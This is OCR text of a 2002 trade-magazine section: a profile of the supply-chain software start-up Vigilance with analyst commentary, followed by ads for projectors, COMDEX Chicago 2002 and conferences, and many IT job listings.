•  Subhash  Tantry.  co-founder  and 
chief  technology  officer 

•  Rocky  Gunderson,  chief  strategy 
officer 

•  Ken  Johnson,  senior  vice  presi¬ 
dent  of  global  sales  and  services 

Milestones: 

•  February  1998;  Firm  founded. 

•  June  1999:  Vigilance  SCEM 
Suite  released. 

•  February  2002;  Version  3.0 
released. 

Employees:  50 


Burn  money:  $16  mil¬ 
lion  from  Accenture 
Ltd.,  Tibco  Software 
Inc.,  Lightspeed  Ven 
ture  Partners  and 
founders 


write  business  rules  in  the 
software  that  will  automati¬ 
cally  bring  processes  back  on 
track,  Busch  says. 

Other  companies,  such  as 
WebMethods  Inc.  in  Fairfax, 
Va.,  offer  products  that  do  sim¬ 
ilar  things  with  enterprise  ap¬ 
plication  integration.  But  ac¬ 
cording  to  Busch,  they  lack 
Vigilance’s  ability  to  offer  an 
intelligent  response  to  condi¬ 
tions  that  span  multiple  sys¬ 
tems  or  multiple  enterprises. 

Analysts  note  that  Vigi¬ 
lance’s  product  is  the  right 
fit  for  customers  looking  to 
ensure  things  such  as  vendor 
compliance  throughout  their 
supply  chains. 

Navi  Radjou,  an  analyst  at 
Cambridge,  Mass.-based  For¬ 
rester  Research  Inc.,  says  Vig¬ 
ilance  is  pioneering  an  “adap¬ 
tive  planning”  model  of  SCM 
that  is  redefining  the  market. 

In  a  recent  report,  Radjou 
says  more  traditional  supply 
chain-planning  applications 
that  help  optimize  demand  or 
production  plans  are  inade¬ 
quate  to  handle  unexpected 
events  such  as  delayed  part 
delivery  or  sudden  demand 
spikes.  In  order  to  deal  with 
this,  “firms  must  learn  to 
manage  their  supply 
nets  by  exception,” 
which  is  where  Vig- 
comes  in,  says 


Radjou. 


Products/pricing:  Vigilance 
Alerts,  which  detects  events  in 
real  time  and  notifies  users  by 
e-mail  or  any  wireless  device,  and 
Vigilance  Collaboration,  which 
uses  collaborative  forms  fo  track 
open  events  and  make  updates 
to  systems  of  record,  are  each 
$2,750  per  seat.  Vigilance  Analyt¬ 
ics,  which  draws  on  archived  and 
real-time  events  to  help  users  see 
where  problems  most  frequently 
occur,  costs  $17,500  per  seat. 

Customers:  Compaq  Computer 
Corp.,  KeySpan  and  others 

Red  Flags  for  IT: 

•  Application  server  for  Vigilance 
runs  only  on  Windows  systems. 

•  Requires  software  hooks  to  con¬ 
nect  with  other  applications,  but 
Vigilance  claims  it  offers  a  variety 
of  out-of-the-box  adapters. 


The  Right  Price? 

But  given  uncertain  eco¬ 
nomic  times  and  Vigilance’s 
small  size,  some  users  are  con¬ 
cerned  about  the  possibility 
that  the  company  may  fail  or 
be  acquired. 

And  the  cost  of  the  applica¬ 
tion  is  too  high  for  the  com¬ 
pany  to  be  competitive,  says 
Walt  Albright,  director  of  IT  at 
the  flow-control  division  of 
Dallas-based  Dresser  Inc.  The 
firm  uses  Vigilance’s  collabo¬ 
ration  and  alerting  tools  for 
supply  chain  event  manage¬ 
ment  to  slash  costs  and  im¬ 
prove  performance. 

“If  Vigilance  wants  to  re¬ 
main  competitive,  they  must 
change  their  pricing  policies,” 
Albright  says.  “It  would  be 
foolish  to  pay  for  something 
that  you  could  go  elsewhere 
and  pay  less  [for].”  I 


To  the  Supply 
Chain  -  and 
Beyond 


Vigilance’s  software  promises  to  mon¬ 
itor  and  analyze  any  problems,  or  “ex¬ 
ceptions,”  in  the  supply  chain  -  or  any 
business  process  -  and  send  alerts  out 
to  the  appropriate  party.  This  increases 
process  efficiency  without  necessarily 
requiring  more  staff. 

Karen  Peterson,  an  analyst  at  Stam¬ 
ford.  Conn.-based  Gartner  Inc.,  is  partic¬ 
ularly  upbeat  about  Vigilance’s  potential 
to  help  handle  inventory  procurement. 

“I  think  that  Vigilance  has  a  good  oppor¬ 
tunity  to  thrive,”  she  says. 

Vigilance  sees  itself  branching  out 
into  the  general  business-process  mar¬ 
ket.  However,  that  “would  require  exper¬ 
tise  within  the  company  that  they  do  not 
have  today,”  Peterson  says. 

On  the  SCM  side.  Vigilance  has  a  dif¬ 
ferent  vision  in  that  its  software  permits 
the  management  of  many-to-many  rela¬ 
tionships  throughout  an  enterprise. 
“Their  strategy  and  installed  base  gives 
them  the  opportunity  to  be  a  long-term 
player  in  the  supply  chain  management 
market,”  Peterson  says. 

The  start-up’s  competitors  include 
smaller  players  such  as  Atlanta-based 
Viewlocity  Inc.  But  established  vendors 
such  as  SAP  AG.  i2  Technologies  Inc.  in 
Dallas  and  Manugistics  Group  Inc.  in 
Rockville,  Md.,  also  offer  or  are  develop¬ 
ing  competing  products. 

Vigilance’s  “challenge  will  be  to  navi¬ 
gate  the  software  waters  as  larger  ven¬ 
dors  such  as  SAP  and  i2  deliver  compet¬ 
itive  products  over  the  next  12  months,” 
Peterson  says.  Other  competitors  in¬ 
clude  the  following  companies: 

Tilion  Inc. 

Maynard,  Mass. 
www.tilion.com 

Tlion  offers  Internet-based  event  man¬ 
agement  as  a  service  for  logistics  and 
supply  chain  management. 

SeeCommerce 

Palo  Alto,  Calif. 

www.seecommerce.com 

While  Vigilance  focuses  mostly  on  event 
management.  SeeCommerce  says  its 
software’s  forte  is  performance  man¬ 
agement  across  an  extended  enterprise. 

-MarcLSongini 
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CRM 

Connecting  customer  systems  with  the  supply  chain  for  business  innovation 

ROI 

Best  practices  in  measuring  IT  project  results  and  aligning  with  senior 
management  goals 

Supplier  Management 

Mastering  the  art  of  negotiating  andcreating  true  partnerships  with  vendors, 
outsourcers,  and  service  providers 

Infrastructure  Strategies 

Maximizing  data  management,  networks,  storage  and  wireless  technologies 

Enterprise  Integration 

Creating  value  with  existing  IT  architectures,  Windows  migration  and  Web-based  technologies 
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Right  From  Your  Desk... 


WebDemo 


Your  Premier  Web  Conferencing  Solution. 


FAST  AND  SIMPLE  -  CONDUCT  REALTIME  SALES 
PRESENTATIONS,  TRAINING  SESSIONS,  OR  MEETINGS. 

WebDemo^**  is  a  powerful  Web-based  conferencing 
and  collaboration  tool  that  provides  a  secure 
channel  to  deliver  real-time  visual  and  audio 
presentations  to  audiences  of  remote  participants. 

Reach  new  heights  by: 

•  Delivering  critical  data  and  information 

•  Performing  immediate  product  demonstrations 

•  Conducting  instant  meetings  and  training  sessions 

•  Demonstrating  applications  and  proprietary  demos — live 

•  Improving  productivity  and  sales  revenues 

Reduce  travel  schedules  and  expenses  while  improving  sales  earnings! 

For  more  information,  visit  www.linktivity.com/if 
or  call  1-800-809-1245. 
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PRESENTATION  EQUIPMENT 


You  Supply  the  Message 
Well  Handle  the  Rest. 

Increase  customer  retention  and  sales  by  keeping  the 
lines  of  communication  open  through  the  use  of  e-mail 

Upload  your  mailing  list 

Best  of  all,  it's  easy.  Compose  your  e-mail  message 

Click-  it's  that  easv 


Visit  ~  discount.industryemail.com/info 
today  for  all  the  details  on  simple  and  economical 
broadcast  e-mail  solutions.  We'll  give  you  a  free 
report  detailing  the  benefits  of  customer  acquisition 
and  retention  using  e-mail  and  30%  off  your  first 
broadcast  e-mail  project  (with  a  $10  minimum  order.) 


IndustryEmaihcom 

E-mail  broadcasting  has  never  been  so  easy! 
1,866.293.9400 


mZjIt 


Toshiba  TLP-670 

XGA  •  1300  Lumens  •  8  lbs. 

B  Stock  $2,495 
New  ^,995 


Proxima  DX2 


Sanyo  PLC-XP40/PLC-XP45 

XP40  •  XGA  •  2600  Lumens  •  17.4  lbs. 
XP45  •  XGA  •  3500  Lumens  •  1 8.5  lbs. 


Mitsubishi  X70UX 

XGA  *1100  Lumens  •  7  lbs. 
3  Year  Warranty 

$2,495 


XGA  •  1000  Lumens  •  5  lbs. 
DLP  Technology 

$1,995 


XP40  $4,995 
XP45  $6,795 


ViewSonic  PJ1060 


XGA -2200  Lumens  *13.2  lbs. 
3  Year  Warranty 

$3,495 


Epson  PowerLite  700c 

XGA  •  800  Lumens  •  5.8  lbs. 


$1,995 


B  Stoc*' 

Proximo  Ultralight  X350 

XGA  •  1100  Lumens  •  4.2  lbs. 

$2,795 


Stock 

Proxima  DP9280 

XGA  •  3000  Lumens  •  20.3  lbs. 
Lens  shift,  power  zoom/focus 

$4,995 


ADTECH 

Empower  your  presentations 

CALL  800-419-0023 

For  the  best  deals  in  New,  Used,  B  Stock  and  Closeout  projectors,  goto... 

www.adtech-sys.com/iw 

Epson  •  Hitachi  •  InFocus  *  Mitsubishi  •  Panasonic  *  Plus  •  Proxima  •  Sanyo  •  Toshiba  •  ViewSonic 
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Register  Now  for  a  FREE  Exhibits  Pass! 

Bring  this  ticket  with  you  to  McCormick  Place  for  FREE  ADMISSION  to  the  Exhibits! 
Use  Priority  Code  CWA  and  Coupon  Code  159  when  registering. 


The  Officii  Web 
Seortce*  Provtdef 
for  Key3Media 


Digital  Island 


Official  Card  of  COMDEX 


Mercerifft  Benz 


NYSE 


Good  for  admission  to  COMDEX  Cliicago  Exhibits,  Keynotes, 
Power  Thinkers  Panels,  SuperSession  and  Movers  &  Shakers. 


Don’t  Miss  the  Industry’s  Premier  Business 
Technology  Conference  and  Exhibition 


REGISTER  NOW  for  your 
FREE  EXHIBITS  PASS 
(A  $100  Value!) 


The  industry’s  leading  IT  professionals  attend  COMDEX  to  network,  learn 
and  make  important  technology  purchase  decisions.  You  can’t  afford  to  i 
miss  the  future  of  business  technology  at  COMDEX  Chicago  2002.  I 

COMDEX  Keynote  Presentations  from  industry  luminaries; 


Get  Ahead. 

Get  to  COMDEX  Chicago  — 
the  Business  IT  Marketplace 


TUES..  MARCH  5. 9-1  CAM  TUES  .  MARCH  5. 12-lPM  TUES.,  MARCH  5. 3-4PM  WEDS.,  MARCH  6, 1 2-1  PM  THURS  .  MARCH  7, 9-10AM 

Sanjay  Kumar  Dean  Douglas  Jim  Balsillie  Bill  Clift  Edward  G.  Newman 

President  and  CEO  General  Manager,  Chairman  and  Co-CEO  CTO  Chairman,  President 

Computer  Associates  Wireless  eBusiness  Research  In  Motion  Cingular  Wireless  and  CEO 

IBM  Global  Services  Blackberry  Xybernaut  Corporation 


Add  value  to  your  COMDEX  Experience  with  affordable  Educational  Programs. 

♦  COMDEX  eMobility  Conference 

Mobile  solutions  that  drive  business  efficiency 

♦  High-Velocity  Computing  Conference 

Selecting  and  managing  new  technologies 

♦  Extreme  Knowledge  Conference 

Hard-core  technical  education  for  developers 

♦  International  Security  and  Biometrics  Summit 

Special  feature  exploring  biometrics  and  other  leading  security  technologies 


The  COMDEX  Exhibition  showcases  the  latest  business  IT  solutions,  including 

♦  Security  ♦  Devices  ♦  Services  ♦  Applications  ♦  Content  ♦  Infrastructure 


wvvw.comdex.eom/cHicago2002 


COMDEX  Educational  Programs 


copresented  by 


www.businessweek.com 


EDUCATIONAL  PROGRAMS  MARCH  4-7,  2002  EXHIBlTiON  MARCH  5  -7,  2002  MeCCRMiCK  PLACE  CHICAGO 


OFFICIAL  CORPORATE  SPONSORS  OF  KEY3MEDIA  GROUP 


Copyright  O  2002  Key3Media  Events.  Inc.,  1 1 7  Kendnck  Street,  Suite  600, 
Needham,  MA  02404-2728.  All  Rights  Reserved.  SP02-10875  1/02 
Key3Media.  COMDEX.  cMobility.  and  associated  design  marks  and  logos  are 
trademarks  owned  or  used  under  license  by  Key3Media  Events.  Inc.,  and  may 
be  registered  in  the  United  States  and  other  countries.  Other  names  mentioned 
may  be  trademarks  of  their  respective  owners. 


MAKE  YOUR 
OLD  JOB 

JEALOUS. 


Application  Developer 


the  contribution  IT  can  make  to  their 
business.  Fireman’s  Fund,  a  leading 
insurance  company,  will  actively 
empower  you  to  make  that  difference. 
Our  Shared  Services  infrastructure 
positions  you  to  make  decisions  with  a 
tangible  impact  on  the  profitability  of 
technological  solutions.  We'll  give  you 
the  accountability  you  crave  and 
inspire  you  to  make  the  most  of  it  - 
with  lucid  guiding  principles, 
energized  co-workers,  and  exceptional 
rewards.  With  your  commitment,  and 


Advance  your  coding,  testing  and  debugging  skills  leading  development  of  a  platform-independent 
user  interface  for  OS/2  applications.  Create  new  N-Tier  applications  and  critically  analyze  vendor 
proposals  and  solutions. 

Business  Systems  Analyst 

Play  a  key  role  creating  IT  solutions  to  enable  achievement  of  business  goals.  Interview  users  and 
conduct  feasibility  studies  to  determine  system  specifications,  then  implement  testing  and  ongoing 
evaluation  of  solutions.  Responsibilities  range  from  promoting  efficiencies  within  client  business  areas 
to  facilitating  workflow  within  IT. 

Project  Manager 

Manage  multiple  IT  projects  such  as  business  applications,  architecture,  data  marts,  operational  data 
stores  and  infrastructure.  Take  responsibility  for  the  complete  project  lifecycle  from  developing  tactical 
and  strategic  approaches  to  cost/benefit  analysis  and  risk  assessment. 

Web  Application  Developer 


that  of  our  global  parent,  Allianz  AC, 
there’s  nothing  we  can’t  accomplish. 


Analyze  requirements,  design  and  program  applications  for  Enterprise  e-Business  projects,  working 
closely  with  consultants,  business  analysts  and  other  developers.  Applications  will  primarily  be  deployed 
on  WebSphere  servers  running  on  AIX  platforms. 

These  are  examples  of  the  types  of  positions  you  may  find  at  various  locations  of  Fireman’s  Fund. 

Be  the  first  to  hear  about  Fireman's  Fund  opportunities  that  are  relevant  to  you,  with  our  newly 
launched  Career  Navigator.  Take  two  minutes  to  register  and  create  your  skills  profile  and  we'll  match  it 
against  every  position  that  becomes  available.  When  a  good  match  comes  up  you'll  instantly  be  notified 
by  email,  and  can  decide  whether  to  take  the  next  step.  It's  a  great  way  to  let  your  perfect  job  find  you. 


careers.com 


IT  CAREERS 


BRAINSTORM  GROUP 
GIGA  INFORMATION  GROUP®^ 


End-fo-End  Integration 
Strategies  &  Solutions 


2002  Event  Schedule 


•  Chicago  -  March  25-27 

•  New  York  -  Sept.  23-25 

•  San  Francisco  -  Nov.  4-6 

Request  a  Bwehure  Online  &  Be  Entered 
to  Win  a  3-Day  Pass  (a  S1495  value)! 


business . 
integration" 

CONFERENCE  SERIES 

The  eBusiness  Integration  Conference 
Series  is  the  leading  forum  specifically 
designed  to  provide  business  and 
IT  leaders  with  solutions  to  the  full 
spectrum  of  e-business  integration 
challenges. 

Featuring  leading  analysts,  authors 
and  end  user  case  studies,  this 
series  details  the  business  driven 
strategies,  the  latest  technological 
advancements,  proven  “Best  of 
Breed”  solutions  and  trends  in 
e-business  integration. 

Join  ns  for  actionable  advice, 
invaluable  networking  opportunities  and 
practical  solutions  to  your  most  pressing 
e-business  integration  challenges. 

Conference  Co-Chairmen 


Ken  Vollmer 

Research  Director 
B2B  Integration  Strategies 
Giga  Information  Group 

Produced  by 


William  M.  Ulrich 

President 

Tactical  Strategy  Group,  Inc. 


Gl9»  Intotmitfon  Groufl* 

Technology  advice. 
Business  results. 


www.bramstorm>group.com  T:  508-393>3266 


Since  its  founding  in  1927,  Schlumberger  has  grown  into  a  $9.6 
billion  company  employing  65,000  people  in  over  100  countries  & 
serving  customers  in  the  oil,  electronics,  aerospace,  &  utilities 
industries  worldwide.  Schlumberger  Technology  Corp,  APC 
currently  has  openings  in  our  Austin,  TX  office  for: 

Software  Engineer  JCl  -  Maintain,  develop,  &  improve 
current  product  line  based  on  Java  Virtual  Machine,  utilizing  Java, 
C/C-I-+,  Visual  Basic,  &  Assembler.  Develop  &  deliver  secure  java 
card  embedded  verifier.  Provide  internal  technology  expertise 
support  on  banking  products  included  in  Company ’s  Cyberflex  smart 
card  product  line.  Coordinate  smart  card  projects  with  international 
affiliates.  MS  in  Computer  Science  or  Electrical/  Electronics 
Engineering  w/coursework  and/or  experience  in  quantum  optics  & 
semiconductor  chips  used  in  smart  card  products. 

Software  Engineer  LS4  -  Work  as  an  expert  on  GSM 
applications.  Develop  cryptographic  data  processing  software  w/ 
cryptography  &  key  management  techniques.  Write  personalization 
script  &  controller  configuration  using  Interpreter  Engine,  Supervisor 
software,  &  QC  Program.  Program  on  software  tools  that  have  clear 
logical  structure  using  Assembly,  Visual  Basic,  C/C-I-+,  Java,  & 
programming  w/databases  for  more  efficient  personalization  & 
validation.  Understand  features  of  different  types  of  SLB  smart  cards 
such  as  Open  Platform  cards,  GSM  cards,  &  Generic  cards  for  areas 
like  secure  web,  banking,  &  mobile  communications.  Set  up  & 
maintain  configuration  management  &  version  management  tools 
such  as  CMV  &  PVCS.  MS  in  Computer  Science  w/  coursework  &/ 
or  training  in  logical  proof  construction  for  software  design. 

Senior  Software  Engineer  LS5  -  Design  &  implement 

data  acquisition  software  components  for  an  oilfield  services 
application  supporting  drilling  &  wireline  real-time  measurements. 
Utilize  Rational  Rose,  UML,  COM+,  &  Visual  C-I-+  with  frontend 
Motorola  68000-based  hardware  &  a  PC-based  acquisition  & 
processing  system  w/  Microsoft  Windows  2000.  Master’s  in 
Computer  Science  or  Electrical/Electronics  Engineering  &  2  yrs. 
experience  as  a  Software  Engineer  developing  applications  on  Windows 
&  real-time  systems  utilizing  GOAD  &  UML  design  V//C++. 

Please  include  Reference  it  &  send  resumes  to 

personnel@austin.oilfleld.slb.com/fax  to  (512)  331-3204/mail  to; 
Schlumberger,  Personnel,  ATTN:  Ref#,  PO  Box  200015,  Austin, 
TX  78720-0015.  EOE  See  our  Schlumberger  website:  http:// 
www.slb.com. 


The  -tech  game  can  change  all  it 
wants,  to,  but  savvy  technology 
professionals  still  know  how  to  win 
with  -Dice. com.  Show  change  who's 
the  boss.  Visit  D1ce.com  today. 


iiobuilj  gels  IT-  Like  Dice 


C1ET2S 

Natwork  Sarvicc  Sclutiont 

NET2S  is  a  leading  International 
Consulting  and  Engineering  firm 
specializing  in  communications 
technologies.  We  are  presently 
seeking  to  fill  the  following  posi¬ 
tions: 

•  Sr.  SAN/Unix  Engineer 

•  TiBCO  Engineer 

•  Sr.  Security  Systems  Engineer 

•  Sr.  Tibco/MQSeries  Developer 
All  positions  require  BS/MS 
degree  with  a  minimum  of  2  to  3 
years  of  experience  in  the  field. 
Must  possess  excellent  commu¬ 
nication  skills  as  well. 

NET2S,  82  Wall  Street  Suite  400, 
New  York,  NY  10005;  Fax:  (212) 
279- 1 960;  Phone  (21 2)  279-6565; 
or  Email:  iobus-nv®  net2s.com 


Object  Resources,  Inc.'s  Infor¬ 
mation  Technology  Consulting 
and  Professional  Services 
divisions  currently  have  multiple 
openings  tor  systems  develop¬ 
ment/consulting  positions:  (ioca- 
tions  include  Lenexa,  KS,  Kansas 
City,  MO,  Stamford,  CT,  arid  Austin, 
TX). 

Programmer  Analysts 
Systems  Analysts 
Software  Engineers 
Support  Analyst  Supervisor 
Project  Managers 

Positions  available  at  Bachelor 
of  Science/Master  of  Science  (or 
foreign  equivalent )  levels. 

Please  indicate  specific  title  and 
location  of  job  for  which  you  are 
applying  on  your  application  letter. 
Applicants  must  have  proof  of 
legal  authority  to  work  in  the 
United  States.  Please  send  re¬ 
sume  to: 

Attn:  Human  Resources 
Object  Resources,  Inc. 

9300  Renner  Blvd.,  Suite  A 
Lenexa,  KS  66219 


COMPUTER  PROGRAMMER 
ANALYST  II  -  ISSM 

Looking  for  two  Computer 
Programmer  Analysts  (position 
numbers  991921  &  991 922)  with 
a  minimum  of  3  years  work 
experience  in  the  use  of  JAVA 
Development  and  2  years  expe¬ 
rience  in  the  use  of  J2EE 
components. 

Also  looking  for  a  Computer 
Programmer  Analyst  (position 
number  991 920)  with  a  minimum 
of  3  years  experience  with  OS/ 
390  COBOL,  TSO/CLIST,  IMS 
DB/DC  and  OS/390  architecture 
who  will  be  responsible  for  the 
entire  life  cycle  planning,  analysis, 
design,  code,  test  and  production 
support)  for  individual  software 
applications.  The  position  will 
provide  support  to  the  current 
mainframe. 

Salary  commensurate  with  ex¬ 
perience  up  to  $53,000/year. 
Employer  also  pays  up  to  77% 
of  health  insurance,  80%  of  term 
life,  and  7.3%  of  salary  into 
retirement.  Vested  after  6  years. 

Visit  our  website  for  more 
job  specific  details  and  to 
submit  an  application,  http:// 
www5.myflorida.com/cf_web/ 
jobs.html 


A  new 
millenium, 
a  new 
solution. 


ITcareers. 


T  R  f  C  .K  U  I  I  F  N  T 

1 1_/ Vjj  5  6  L  :U  T  i  0  N  S- 


Trusted  by 
more 
hiring 
managers 
than  any 


careers.com 


You  can 
fined  a 
better 


with  one 
hand  tied 
behind 
your  back. 


Just  point  your 
mouse  to  the 
world’s  best 
IT  careers  site. 

Brought  to 
you  by 

Computerworld, 
Info  World  and 
Network  World. 

Find  out  more. 

Call  your 
ITcareers  Sales 
Representative 
or  Janis  Crowley, 
1-800-762-2977 


Whara  the  bast 
get  batter 


CW02Q2im.2 
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Systems  Analyst  sought  by 

Comp.  CO.  in  Skillman,  NJ.  Must 

possess  Associate's  degree  in 

any  field  &  3  yrs  exp  in  systems 

development.  Send  resume 

to  Optimal  Solutions,  Inc,  3 

Richmond  Dr,  Skillman,  NJ 

08558. 

Software  Engineer  needed  to 
dsgn,  dvlp,  maintain  &  test  s/ware. 

Apply  to  Global  Consultants,  601 
Jefferson  Rd,  Parsippany,  NJ 

07054. 

Sr.  Technical  Specialist/Sr. 
Software  Engineer  needed  by 
Engineering  consulting  co,  in  NY, 
NY.  Must  have  MS  in  Geogra¬ 
phy/Comp  Sci  &  5  yrs  exp  in 
tech  direction,  mgmt  &  software 
development  for  digital  mapping, 
GIS  (Geographical  Info  Systems), 
image  processing  &  photogram- 
metry  projects  using  Oracle,  Arc 
Info,  ERDAS  &  related  software. 
Respond  to;  Parson  Brinckerhoff 
Quade  &  Douglas,  Inc,  Attn; 
Jules  Lowess,  One  Penn  Plaza, 
NY.  NY  10119. 

Several  computer  related 

positions  available  for  a  large 

spring  water  production 

company.  Degree,  technical 

skills  &  experience  vary  per 

position.  Send  resume  to 

Frank  Stinger,  Suntory  Water 

Group,  Inc.,  5660  New 

Northside  Drive,  Suite  500, 

Atlanta,  Georgia  30328. 

Software  Engineer:  Wanted  by 

optical  networking  system 

developer  in  Oceanport,  NJ. 

Master's  degree  or  equivalent 
in  Electrical  Engineering  or 
Computer  Science  and  a 

minimum  of  5  years  of  experi¬ 
ence  in  Real-Time  Programming 
for  Telecommunications  products. 

Respond  to:  Doreen  Connors, 

HR  Dept.  (ref#_007),  Tellium, 
Inc.,  2  Crescent  Place,  Oceanport, 

NJ  07757. 

Mrs.  Smith's  Bakeries,  LLC,  in 
Suwanee,  GA,  needs  an  EC 
Developer  to  develop,  maintain, 
and  support  e-commerce  software 
programs.  Bachelor's  degree  in 
electronics  communication  engi¬ 
neering,  comp  sci  or  related  field 
+  2  yrs  of  exp  in  the  job  offered 
OR  2  yrs  exp  w/  info  systems 
&  tech,  SAP  Integration,  EC 
initiatives,  Interface/Integration 
design,  development  &  mapping. 
Resumes  to:  D.  Quian,  Mrs. 
Smith's  Bakeries,  LLC,  2855 
Rolling  Pin  Lane,  Suwanee,  GA 
30024. 

Programmer/ZVialyst  (4  openings): 
Design,  test,  code,  implement 
and  maintain  for  internal  and 
external  web-based  3-tier  appli¬ 
cation  architecture  projects  using 
HTML,  J2SE,  Java  SERVLETS, 
XML,  EJB,  Apache-JServ,  Java¬ 
script.  Req.  B.Sc.  or  its  foreign 
degree  equivalent  in  C.  Sci.,  EE, 
or  other  related  field  w/  at  least  2 
yrs.  exp.  in  job  offered.  Resume  to: 
HR  Manager  (job  code  CW01 02), 
Rek  Holdings,  3399  Peachtree 
Rd.  N.E.  Ste  600,  Atlanta,  GA 

30326 

Systems  Analyst  for  NJ  based 
Co  for  job  loc  throughout  the  US. 
Must  have  Bachelor's  degree 
in  Comp.  Sc.  or  Engg.  &  3  yrs 
of  s/ware  exp.  Skill  set  used 
RDBMS,  VB,  Com/DCom,  HTML, 
ASP,  XML.  Respond  to:  MJ 
Technologies  of  NJ,  Inc.,  762 
Green  St.,  Ste.  #2C,  Iselin,  NJ 
08830.  (Ref.  RG7968). 

Senior  Systems  Administrators. 
Systems  Admin,  including  enter¬ 
prise  level  network  design/ 
implementation  for  mission  critical 
operations  with  Visio  2000,  Pro¬ 
tocols.  TCP/IP,  Netbieu,  DHCP, 
SNMP,  DNS.  VPN,  PKI,  RSA 
Keys  and  other  related  tools, 
MS  OS,  Windows  NT/WN/2000, 
SQL.  Exchange,  SMS,  Proxy 
Terminal  Server.  Prevailing  wage. 

3  yrs.  exp.  in  job  offered.  Please 
send  resume  to  Christie  Tucker. 
SourceTec,  Inc.,  292  South  Main 
St.,  Suite  500,  Alpharetta,  GA 
30004.  EOE. 

Software  Developer,  Columbia, 
MD.  Design,  develop,  debug,  & 
administer  computer  application 
systems  to  track  &  optimize 
business  operations  of  client 
companies  using  Oracle  database 
server,  SQL,  PL/SQL,  SQL 
Loader,  Developer  2000  suite, 
JAM  Report,  JAM  Screens,  C, 
Proc,  &  Unix  Shell  Scripts.  Provide 
technical  support  to  maintain  the 
systems.  Required  B.S.  or 
equivalent  In  Computer  Science 
or  related  field  and  2  yr  related 
exp.  M-F  40/hrs/wk  +  O/T  as 
needed.  Send  Resume  to  J. 
Brigham,  HR  #13002,  TEK 
Systems  Inc.,  6992  Columbia 
Gateway  Drive,  Columbia,  MD 
21046. 

where  the  best  get  better 

1-80D-7G2-2977 


InfiniSwitch  is  a  leader  in  Infini¬ 
Band  switching  technology  for 
data  centers.  We  are  currently 
seeking  Software  Quality  Assur¬ 
ance  Engineers.Our  Software 
Quality  Assurance  Engineers 
will  work  with  the  InfiniBand 
specifications  and  with  input 
from  other  engineering  team 
members  to  isolate  and  expose 
system  and  sub-system  problems 
and  develop  resolutions.  They 
will  also  develop  and  execute 
test  plans  and  cases  required  to 
fully  test  and  qualify  Infiniband 
Switch  products,  and  conduct 
software  integration  testing, 
load/performance  testing  and 
install  Operating  Systems  and 
Networks.  Requirements  include 
a  MS  in  CS  or  closely  related 
and  two  years  experience  as 
Software  Quality  Assurance 
Engineer  (or  will  accept  BS  in 
CS  and  five  years  experience, 
two  of  which  are  in  QA).  Also 
required  is  high  degree  of  profi¬ 
ciency  working  with  following: 
Linux  or  Windows  2000  operating 
systems;  Network  switches,  fibre- 
channel  SAN  components,  or 
SNMP  Management  testing;  and 
application  load/artificial  traffic 
load  generation,  test  automation, 
or  performance  testing. Interested 
applicants  may  send  their  resume 
to  Human  Resources,  InfiniSwitch 
Corporation,  134  Flanders  Road, 
Westborough,  MA  01 581 .  F  508- 
870-3146. 


IT  Database  Administrator  I 
-  Boston,  MA,  Evergreen 
Investments.  Design,  develop  & 
maintain  the  testing  &  prod,  of 
database  architectures.  Reqs. 
BA  in  Mech.  Eng.,  Computer 
Science  or  rel.  disc.  &  2  yrs  exp. 
in  the  pos.  qff.  or  as  Network 
Admin.,  Developer,  or  System 
Support  Eng.  The  2  yrs  of  reqd 
exp  must  have  incl.  work  w/  web 
enabling  databases  w/  SQL 
Server  7.0,  ASP  &  JavaScript 
tech.  1  yr  of  reqd  exp  must  incl. 
work  w/  networking  &  Oracle.  6 
mths  of  reqd  exp.  must  incl.  work 
Sybase  Adaptive  Server  & 
AutoSys  job  Scheduler.  Must  be 
MCDBA  and  MCSE  certified. 
40hrs/wk,  8-5,  $68,000-$80,100. 
Send  resume  &  cvr.  Itr.  to  Luzanna 
Korshuk,  200  Berkeley  Street, 
Boston,  MA  02116. 


SOFTWARE  DEVELOPER  to 
design,  develop,  analyze  and 
implement  business  application 
software  systems  on  AS/400, 
Windows  and  UNIX  in  Access, 
SQL  or  DB2/400  databases  using 
RPG,  SQL  Server  and  Oracle; 
C-f-f,  VBasic  and  web-based 
technologies  requiring  perfor¬ 
mance  tuning,  peer-to-peer 
networking  and  distributed 
database  management.  Require; 
B.S.  in  Computer  Science/Infor¬ 
mation  Systems  and  three  years 
experience  in  the  job  offered. 
Competitive  salary  and  benefits. 
8:30  am  to  5:30  pm,  M-F.  Apply 
with  resume  to:  Corporate  H  R. 
Manager,  The  Profit  Recovery 
Group,  2300  Windy  Ridge 
Parkway,  Suite  100  North, 
Atlanta,  GA  30339-8426. 


Dynamic  Systems,  Inc. 
Programmer/Systems  Analyst/ 
Business  Analyst 
Internet:  Java,  JSP  ,EJB, 
WebSphere,  WebLogic,  Perl,  CGI, 
VB,ASP,ADO,MTS,IIS 
Admin:  AIX,  HP-UX,  Solaris, 
Unix,  Oracle,  Sybase,  SQL 
Server,  DB2,lnformix 
Skills:  RDBMS,  Unix,  C.C-f+. 
AS/400,RPG,IBM  MF  Cobol, 
DB2,  Clintrial,  LIMS,  Oracle 
Clinical 

1 086  Livingston  Ave  Suite#3 
North  Brunswick,  NJ  08902 
650  N  Cannon  Ave,  Lansdale, 
PA  19446 

Phone:  732-246-2297 

Fax:  732-246-3362 

job  @  dynamicsystems-inc.com 

Vi/WW.Dynamicsystems-inc.com 


F/T  Sr.  Computer  Software 
Engineer.  Responsible  for 
developing,  directing  &  assisting 
in  the  preparation  of  complex 
application  program  solutions  as 
well  as  computer  programs  in 
the  creation  &  maint.  of  new  & 
existing  programs  using  Java, 
JavaScript,  Java  Swing,  JDBC, 
EJB,  Sun  Solaris,  Together 
Enterprise  4.2,  Weblogic  5.1, 
Oracle  7.3.4,  &  8i,  Unix,  PL/SQL 
&  Visual  Cafe.  Conduct  detailed 
analysis  of  all  defined  system 
specifications  for  changes  in 
system  &  customer  requirements 
or  equipment  configuration  & 
develop  all  level  flow  charts. 
Perform  system  testing  &  analyze 
&  troubleshoot  defects  found. 
Must  have  Bachelor's  degree 
in  CS,  Electronics  &  Communi¬ 
cations  Engineering  or  related 
field.  Foreign  degree  equivalent 
accepted.  Must  have  5  yrs.  exp. 
in  job  offered  or  position  w/same 
duties.  Salary:  $75,000.  Send 
resume:  Nytasha  Lyttle,  SITA, 
3100  Cumberland  Blvd.,  Suite 
200,  Atlanta,  GA  30339. 


PROGRAMMER  ANALYST 

/Vialyze  &  eval.  existg.  or  proposed 
software  sys.  Dvips.,  impimts.  & 
improves  prgms.,  sys.  &  related 
procedures  to  process  data 
using  in-depth  knowl.  of  the  sys. 
dvipmt.  life  cycle.  Encodes,  tests, 
